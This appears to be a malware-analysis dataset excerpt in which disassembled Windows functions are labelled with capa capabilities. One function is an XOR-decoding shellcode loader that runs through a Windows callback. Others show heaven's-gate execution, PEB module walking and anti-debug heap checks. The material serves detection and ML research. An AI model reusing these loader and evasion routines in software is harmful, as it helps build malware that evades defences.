joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001220
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via windows callback function
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xf67c4
call fcn.10003b60
push esi
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
lea ecx, [ebp - 4]
mov dword [ebp - 4], 0
push ecx
push eax
lea eax, [ebp - 0xf67c4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
movaps xmm2, xmmword [str.yyyyyyyyyyyyyyyy]
xor eax, eax
nop word [eax + eax]
movups xmm0, xmmword [ebp + eax - 0xf67c4]
movaps xmm1, xmm2
xorps xmm0, xmm2
movups xmmword [ebp + eax - 0xf67c4], xmm0
movups xmm0, xmmword [ebp + eax - 0xf67b4]
xorps xmm1, xmm0
movups xmmword [ebp + eax - 0xf67b4], xmm1
movups xmm0, xmmword [ebp + eax - 0xf67a4]
xorps xmm0, xmm2
movups xmmword [ebp + eax - 0xf67a4], xmm0
movups xmm0, xmmword [ebp + eax - 0xf6794]
xorps xmm0, xmm2
movups xmmword [ebp + eax - 0xf6794], xmm0
add eax, 0x40
cmp eax, 0xf67c0
jne 0x10001280
push 0x40
push 0x3000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
lea eax, [ebp - 0xf67c4]
push 0xf67c0
push eax
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
push esi
push 0
push 0
call dword [sym.imp.CRYPT32.dll_CertEnumSystemStoreLocation]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10001cc0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x38], 0
je 0x10001cec
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x20], esi
mov ecx, dword [eax]
lea eax, [ebx + 0x30]
mov dword [esp + 0x24], edi
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], eax
test ecx, ecx
je 0x10001d14
mov eax, dword [eax]
mov ecx, dword [eax]
jmp 0x10001d1a
xor ecx, ecx
mov dword [esp + 0x18], eax
mov eax, ecx
cdq
mov dword [esp + 0x10], eax
mov ecx, edx
mov dword [esp + 0x14], ecx
test edi, edi
jl 0x10001d82
jg 0x10001d31
test esi, esi
je 0x10001d82
test ecx, ecx
jl 0x10001d7d
jg 0x10001d3b
test eax, eax
je 0x10001d7d
cmp edi, ecx
jg 0x10001d4f
jl 0x10001d45
cmp esi, eax
jae 0x10001d4f
mov eax, esi
mov dword [esp + 0x10], esi
mov dword [esp + 0x14], edi
push eax
push dword [ebp + 8]
push dword [esp + 0x24]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [esp + 0x24]
add esp, 0xc
mov edx, dword [esp + 0x10]
mov ecx, dword [ebp + 8]
add ecx, edx
sub esi, edx
mov eax, dword [eax]
sbb edi, dword [esp + 0x14]
sub dword [eax], edx
mov eax, dword [ebx + 0x20]
add dword [eax], edx
jmp 0x10001d85
mov ecx, dword [ebp + 8]
jmp 0x10001d8f
mov ecx, dword [ebp + 8]
test edi, edi
jl 0x10001da9
jg 0x10001d8f
test esi, esi
je 0x10001da9
mov eax, dword [ebx + 0x4c]
test eax, eax
je 0x10001da9
push eax
push esi
push 1
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10001dc0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
sub esp, 8
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 0xc]
test eax, eax
jg 0x10001de4
jl 0x10001dd9
test ecx, ecx
jne 0x10001de4
xor eax, eax
xor edx, edx
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x10001dfe
push eax
push ecx
push dword [ebp + 8]
mov ecx, ebx
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char___long_long___int64__]
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
push esi
push edi
mov edi, ecx
mov eax, dword [eax]
mov dword [ebp - 8], eax
test eax, eax
je 0x10001e4a
mov eax, dword [ebx + 0x2c]
lea edx, [ebx + 0x2c]
mov dword [ebp - 4], edx
mov eax, dword [eax]
test eax, eax
je 0x10001e50
mov edi, dword [ebp + 8]
cmp eax, ecx
mov esi, ecx
cmovb esi, eax
push esi
push dword [ebp - 8]
push edi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebx + 0x2c]
add edi, esi
mov dword [ebp + 8], edi
add esp, 0xc
mov edi, dword [ebp + 0xc]
sub edi, esi
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
jmp 0x10001e50
lea eax, [ebx + 0x2c]
mov dword [ebp - 4], eax
cmp dword [ebx + 0x4c], 0
mov esi, dword [ebp + 8]
je 0x10001ec6
mov ecx, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [ecx], eax
jne 0x10001e7c
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov dword [eax], edx
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
cmp edi, 0xfff
jbe 0x10001eb4
nop dword [eax]
push dword [ebx + 0x4c]
push 0xfff
push 1
push esi
call eax
add esp, 0x10
add esi, eax
sub edi, eax
cmp eax, 0xfff
jne 0x10001ec6
cmp edi, eax
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
ja 0x10001e90
test edi, edi
je 0x10001ec6
push dword [ebx + 0x4c]
push edi
push 1
push esi
call eax
add esp, 0x10
sub edi, eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, edi
pop edi
pop esi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10002240
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x1000225c
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
push edi
mov ecx, dword [eax]
test ecx, ecx
je 0x1000228e
mov edx, dword [esi + 0x30]
mov edi, dword [edx]
lea eax, [edi + ecx]
cmp ecx, eax
jae 0x1000228e
lea ecx, [edi - 1]
mov eax, ebx
mov dword [edx], ecx
mov edx, dword [esi + 0x20]
pop edi
mov esi, dword [edx]
lea ecx, [esi + 1]
mov dword [edx], ecx
mov byte [esi], bl
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
je 0x10002351
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x100022b6
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x100022c2
movsx eax, bl
jmp 0x100022fa
lea eax, [ebp + 8]
mov byte [ebp - 1], bl
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp]
push eax
lea eax, [ebp - 1]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet___char_const___char_const___char_const____char___char___char___const]
sub eax, 0
je 0x1000231a
sub eax, 1
je 0x1000231a
sub eax, 2
jne 0x10002351
movsx eax, byte [ebp - 1]
push dword [esi + 0x4c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmove ebx, ecx
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 4
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x28]
sub edi, eax
je 0x10002338
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x10002351
lea ecx, [ebp - 1]
mov byte [esi + 0x3d], 1
or eax, 0xffffffff
cmp dword [ebp - 8], ecx
pop edi
pop esi
cmovne eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 4
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10002530
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x100025bc
cmp byte [esi + 0x3d], 0
je 0x100025bc
mov eax, dword [esi]
push edi
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x100025b4
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet___char___char___char___const]
sub eax, 0
je 0x10002585
sub eax, 1
je 0x10002589
sub eax, 2
jne 0x100025b4
mov byte [esi + 0x3d], al
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 4]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x100025a7
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x100025b4
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x401106
Capabilities:
Hide graphical window

Disassembly:
push 0
call sub.kernel32.dll_GetModuleHandleA
mov dword [0x403020], eax
call sub.kernel32.dll_GetCommandLineA
mov dword [0x403024], eax
push 0xa
push dword [0x403024]
push 0
push dword [0x403020]
call 0x401106
push eax
call sub.kernel32.dll_ExitProcess
push ebp
mov ebp, esp
add esp, 0xffffffb4
mov dword [ebp - 0x30], 0x30
mov dword [ebp - 0x2c], 3
mov dword [ebp - 0x28], 0x4011ef
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
push dword [0x403020]
pop dword [ebp - 0x1c]
mov dword [ebp - 0x10], 0x10
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0x403000
push 0x7f00
push 0
call sub.user32.dll_LoadIconA
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], eax
push 0x7f00
push 0
call sub.user32.dll_LoadCursorA
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x30]
push eax
call sub.user32.dll_RegisterClassExA
push 0
push dword [ebp + 8]
push 0
push 0
push 0x1e0
push 0x258
push 0
push 0
push 0xcf0000
push str.Farabi_Arabic_Converter
push section..data
push 0
call sub.user32.dll_CreateWindowExA
mov dword [0x403028], eax
push 1
push dword [0x403028]
call sub.user32.dll_ShowWindow
push dword [0x403028]
call sub.user32.dll_UpdateWindow
push 0
push 0
push 0
lea eax, [ebp - 0x4c]
push eax
call sub.user32.dll_GetMessageA
or eax, eax
je 0x4011e8
lea eax, [ebp - 0x4c]
push eax
call sub.user32.dll_TranslateMessage
lea eax, [ebp - 0x4c]
push eax
call sub.user32.dll_DispatchMessageA
jmp 0x4011c1
mov eax, dword [ebp - 0x44]
leave
ret 0x10
Function at 0x10001060
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
sub esp, 0x40
push esi
xor esi, esi
push edi
lea eax, [ebp + 0x10]
cmp ecx, esi
jle 0x10001089
mov edx, dword [ebp + 0x10]
mov dword [ebp - 0x30], edx
mov edx, dword [ebp + 0x14]
dec ecx
mov dword [ebp + 0xc], ecx
lea eax, [ebp + 0x18]
mov dword [ebp - 0x2c], edx
jmp 0x1000108f
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x2c], esi
cmp ecx, esi
jle 0x100010a8
dec ecx
add eax, 8
mov dword [ebp + 0xc], ecx
mov edx, dword [eax - 8]
mov dword [ebp - 0x28], edx
mov edx, dword [eax - 4]
mov dword [ebp - 0x24], edx
jmp 0x100010ae
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], esi
cmp ecx, esi
jle 0x100010c7
dec ecx
add eax, 8
mov dword [ebp + 0xc], ecx
mov edx, dword [eax - 8]
mov dword [ebp - 0x20], edx
mov edx, dword [eax - 4]
mov dword [ebp - 0x1c], edx
jmp 0x100010cd
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
cmp ecx, esi
jle 0x100010e6
dec ecx
add eax, 8
mov dword [ebp + 0xc], ecx
mov edx, dword [eax - 8]
mov dword [ebp - 0x18], edx
mov edx, dword [eax - 4]
mov dword [ebp - 0x14], edx
jmp 0x100010ec
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x14], esi
cdq
mov dword [ebp - 0x38], eax
mov eax, ecx
mov dword [ebp - 0x34], edx
cdq
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], edx
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
mov dword [ebp - 8], esp
and esp, 0xfffffff0
push 0x33
call fcn.10001121

Function at 0x10002cc0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword fs:[0x18]
mov ecx, dword [eax + 0x30]
push ebx
push esi
push edi
mov edi, dword [ecx + 0x38]
cmp dword [edi + 0xc], 0
mov dword [ebp - 8], 0
jbe 0x10002d69
lea ebx, [edi + 0x28]
mov dword [ebp - 0xc], ebx
lea esp, [esp]
mov edx, dword [ebx]
mov eax, dword [ebx - 8]
mov ecx, dword [ebp + 0xc]
shr edx, 1
push edx
add eax, edi
push ecx
push eax
call dword [sym.imp.msvcrt.dll__wcsnicmp]
add esp, 0xc
test eax, eax
jne 0x10002d57
mov esi, dword [ebx + 4]
mov eax, dword [ebx + 8]
add esi, edi
dec eax
mov dword [ebp - 4], eax
js 0x10002d57
lea edx, [eax + eax*4]
lea esi, [esi + edx*4 + 8]
mov ecx, dword [esi - 4]
mov ebx, dword [esi + 4]
mov eax, dword [esi]
add ecx, edi
add ebx, edi
test eax, eax
je 0x10002d72
shr eax, 1
push eax
mov eax, dword [ebp + 8]
push eax
push ecx
call dword [sym.imp.msvcrt.dll__wcsnicmp]
add esp, 0xc
test eax, eax
je 0x10002d72
mov eax, dword [ebp - 4]
dec eax
sub esi, 0x14
mov dword [ebp - 4], eax
test eax, eax
jns 0x10002d21
mov ebx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
inc eax
add ebx, 0x18
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], ebx
cmp eax, dword [edi + 0xc]
jb 0x10002cf0
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [esi + 8]
mov edx, dword [ebp + 0x10]
pop edi
shr ecx, 1
pop esi
mov eax, ebx
mov dword [edx], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10002d90
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword fs:[0x18]
mov ecx, dword [eax + 0x30]
push ebx
push esi
push edi
mov edi, dword [ecx + 0x38]
cmp dword [edi + 0xc], 0
mov dword [ebp - 8], 0
jbe 0x10002e3a
lea ebx, [edi + 0x18]
mov dword [ebp - 0xc], ebx
lea esp, [esp]
mov edx, dword [ebx]
mov eax, dword [ebx - 4]
mov ecx, dword [ebp + 0xc]
shr edx, 1
push edx
add eax, edi
push ecx
push eax
call dword [sym.imp.msvcrt.dll__wcsnicmp]
add esp, 0xc
test eax, eax
jne 0x10002e28
mov esi, dword [ebx + 0xc]
mov eax, dword [esi + edi + 4]
add esi, edi
dec eax
mov dword [ebp - 4], eax
js 0x10002e28
lea edx, [eax + eax*4]
lea esi, [esi + edx*4 + 0x10]
mov ecx, dword [esi - 4]
mov ebx, dword [esi + 4]
mov eax, dword [esi]
add ecx, edi
add ebx, edi
test eax, eax
je 0x10002e43
shr eax, 1
push eax
mov eax, dword [ebp + 8]
push eax
push ecx
call dword [sym.imp.msvcrt.dll__wcsnicmp]
add esp, 0xc
test eax, eax
je 0x10002e43
mov eax, dword [ebp - 4]
dec eax
sub esi, 0x14
mov dword [ebp - 4], eax
test eax, eax
jns 0x10002df2
mov ebx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
inc eax
add ebx, 0x18
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], ebx
cmp eax, dword [edi + 0xc]
jb 0x10002dc0
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [esi + 8]
mov edx, dword [ebp + 0x10]
pop edi
shr ecx, 1
pop esi
mov eax, ebx
mov dword [edx], ecx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10002e60
Capabilities:
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword fs:[0x18]
mov ecx, dword [eax + 0x30]
push ebx
mov ebx, dword [ecx + 0x38]
cmp dword [ebx + 4], 0
push esi
push edi
mov dword [ebp - 8], 0
jbe 0x10002f1c
lea esi, [ebx + 0x10]
mov dword [ebp - 0xc], esi
lea esp, [esp]
mov edx, dword [esi - 4]
mov eax, dword [esi - 8]
mov ecx, dword [ebp + 0xc]
shr edx, 1
push edx
add eax, ebx
push ecx
push eax
call dword [sym.imp.msvcrt.dll__wcsnicmp]
add esp, 0xc
test eax, eax
jne 0x10002f06
mov eax, dword [esi]
mov ecx, dword [eax + ebx]
add eax, ebx
dec ecx
mov dword [ebp - 4], ecx
js 0x10002f06
add ecx, ecx
lea esi, [eax + ecx*8 + 8]
mov edi, dword [esi - 4]
mov eax, dword [esi + 4]
add eax, ebx
add edi, ebx
cmp dword [esi], 0
mov dword [ebp - 0x10], eax
je 0x10002f28
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esi]
test eax, eax
je 0x10002f25
mov edx, dword [ebp + 8]
shr eax, 1
push eax
push edx
push edi
call dword [sym.imp.msvcrt.dll__wcsnicmp]
add esp, 0xc
test eax, eax
je 0x10002f25
mov eax, dword [ebp - 4]
dec eax
sub esi, 0x10
mov dword [ebp - 4], eax
test eax, eax
jns 0x10002ec0
mov esi, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
inc eax
add esi, 0xc
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esi
cmp eax, dword [ebx + 4]
jb 0x10002e90
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x10]
mov ecx, dword [esi + 8]
mov edx, dword [ebp + 0x10]
pop edi
shr ecx, 1
pop esi
mov dword [edx], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100038e0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
test edx, edx
jne 0x100038ee
xor eax, eax
pop ebp
ret
mov eax, edx
push esi
lea esi, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x100038f4
sub eax, esi
sar eax, 1
push ebx
mov ebx, eax
mov eax, dword fs:[0x18]
mov ecx, dword [eax + 0x30]
push edi
mov edi, dword [ecx + 0xc]
add edi, 0xc
jne 0x10003929
mov eax, dword fs:[0x18]
mov ecx, dword [eax + 0x30]
mov edi, dword [ecx + 0xc]
add edi, 0x14
je 0x10003985
mov esi, dword [edi]
cmp esi, edi
je 0x10003968
nop
test esi, esi
je 0x10003968
cmp word [esi + 0x24], 2
jbe 0x10003962
movzx ecx, word [esi + 0x2c]
lea eax, [ebx + ebx]
cmp ecx, eax
jne 0x10003962
cmp dword [esi + 0x18], 0
je 0x10003962
mov eax, dword [esi + 0x30]
push ebx
push eax
push edx
call dword [sym.imp.msvcrt.dll__wcsnicmp]
add esp, 0xc
test eax, eax
je 0x1000397d
mov edx, dword [ebp + 8]
mov esi, dword [esi]
cmp esi, edi
jne 0x10003930
cmp dword [0x10017734], 0
je 0x10003985
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
pop edi
pop ebx
pop esi
pop ebp
ret
mov eax, dword [esi + 0x18]
pop edi
pop ebx
pop esi
pop ebp
ret
pop edi
pop ebx
xor eax, eax
pop esi
pop ebp
ret
Function at 0x10005b80
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x620
push ebx
push esi
push edi
push 0x208
mov esi, eax
lea eax, [ebp - 0x210]
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
xor ebx, ebx
test esi, esi
je 0x10005bd1
xor eax, eax
lea esp, [esp]
mov cl, byte [eax + esi]
test cl, cl
je 0x10005bcb
movsx cx, cl
mov word [ebp + eax*2 - 0x210], cx
inc eax
cmp eax, 0x103
jb 0x10005bb0
lea ebx, [ebp - 0x210]
push 0x208
lea edx, [ebp - 0x620]
push 0
push edx
call sub.msvcrt.dll_memset
xor ecx, ecx
add esp, 0xc
xor edi, edi
mov dword [ebp - 8], ecx
test ebx, ebx
je 0x10005c30
mov eax, ebx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10005bf7
sub eax, edx
sar eax, 1
mov edi, eax
cmp edi, 0x104
jb 0x10005c15
mov edi, 0x103
push edi
lea ecx, [ebp - 0x620]
lea eax, [edi + edi]
push ebx
push ecx
mov dword [ebp - 8], eax
call dword [sym.imp.msvcrt.dll_wcsncpy]
mov ecx, dword [ebp - 8]
add esp, 0xc
mov edx, dword fs:[0x18]
mov eax, dword [edx + 0x30]
mov edx, dword [eax + 0xc]
add edx, 0xc
mov dword [ebp - 4], edx
jne 0x10005c5c
mov edx, dword fs:[0x18]
mov eax, dword [edx + 0x30]
mov eax, dword [eax + 0xc]
add eax, 0x14
mov dword [ebp - 4], eax
je 0x10005cd7
mov edx, eax
mov esi, dword [edx]
cmp esi, edx
je 0x10005cd7
test esi, esi
je 0x10005cd7
cmp word [esi + 0x24], 2
jbe 0x10005cd1
movzx eax, word [esi + 0x2c]
cmp eax, 2
jbe 0x10005cd1
cmp dword [esi + 0x18], 0
je 0x10005cd1
test ecx, ecx
je 0x10005c84
cmp ecx, eax
jne 0x10005cd1
push 0x208
lea ecx, [ebp - 0x418]
push 0
push ecx
call sub.msvcrt.dll_memset
mov edx, dword [esi + 0x30]
push edi
push edx
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.msvcrt.dll_wcsncpy]
add esp, 0x18
test ebx, ebx
je 0x10005ce0
lea ecx, [ebp - 0x418]
push ecx
lea edx, [ebp - 0x620]
push edx
call dword [sym.imp.msvcrt.dll__wcsicmp]
add esp, 8
test eax, eax
je 0x10005ce0
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
mov esi, dword [esi]
cmp esi, edx
jne 0x10005c62
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10005cf0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push ebx
mov ebx, dword [ebp + 8]
push edi
push 0x208
lea eax, [ebp - 0x414]
push 0
push eax
call sub.msvcrt.dll_memset
xor ecx, ecx
add esp, 0xc
xor edi, edi
mov dword [ebp - 4], ecx
test ebx, ebx
je 0x10005d5d
mov eax, ebx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10005d24
sub eax, edx
sar eax, 1
mov edi, eax
cmp edi, 0x104
jb 0x10005d42
mov edi, 0x103
push edi
lea edx, [ebp - 0x414]
lea ecx, [edi + edi]
push ebx
push edx
mov dword [ebp - 4], ecx
call dword [sym.imp.msvcrt.dll_wcsncpy]
mov ecx, dword [ebp - 4]
add esp, 0xc
mov eax, dword fs:[0x18]
mov edx, dword [eax + 0x30]
mov edx, dword [edx + 0xc]
add edx, 0xc
mov dword [ebp + 8], edx
jne 0x10005d8b
mov eax, dword fs:[0x18]
mov edx, dword [eax + 0x30]
mov eax, dword [edx + 0xc]
add eax, 0x14
mov dword [ebp + 8], eax
je 0x10005e19
mov edx, eax
push esi
mov esi, dword [edx]
cmp esi, edx
je 0x10005e07
test esi, esi
je 0x10005e07
cmp word [esi + 0x24], 2
jbe 0x10005e01
movzx eax, word [esi + 0x2c]
cmp eax, 2
jbe 0x10005e01
cmp dword [esi + 0x18], 0
je 0x10005e01
test ecx, ecx
je 0x10005db4
cmp ecx, eax
jne 0x10005e01
push 0x208
lea ecx, [ebp - 0x20c]
push 0
push ecx
call sub.msvcrt.dll_memset
mov edx, dword [esi + 0x30]
push edi
push edx
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.msvcrt.dll_wcsncpy]
add esp, 0x18
test ebx, ebx
je 0x10005e10
lea ecx, [ebp - 0x20c]
push ecx
lea edx, [ebp - 0x414]
push edx
call dword [sym.imp.msvcrt.dll__wcsicmp]
add esp, 8
test eax, eax
je 0x10005e10
mov edx, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov esi, dword [esi]
cmp esi, edx
jne 0x10005d92
pop esi
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, esi
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret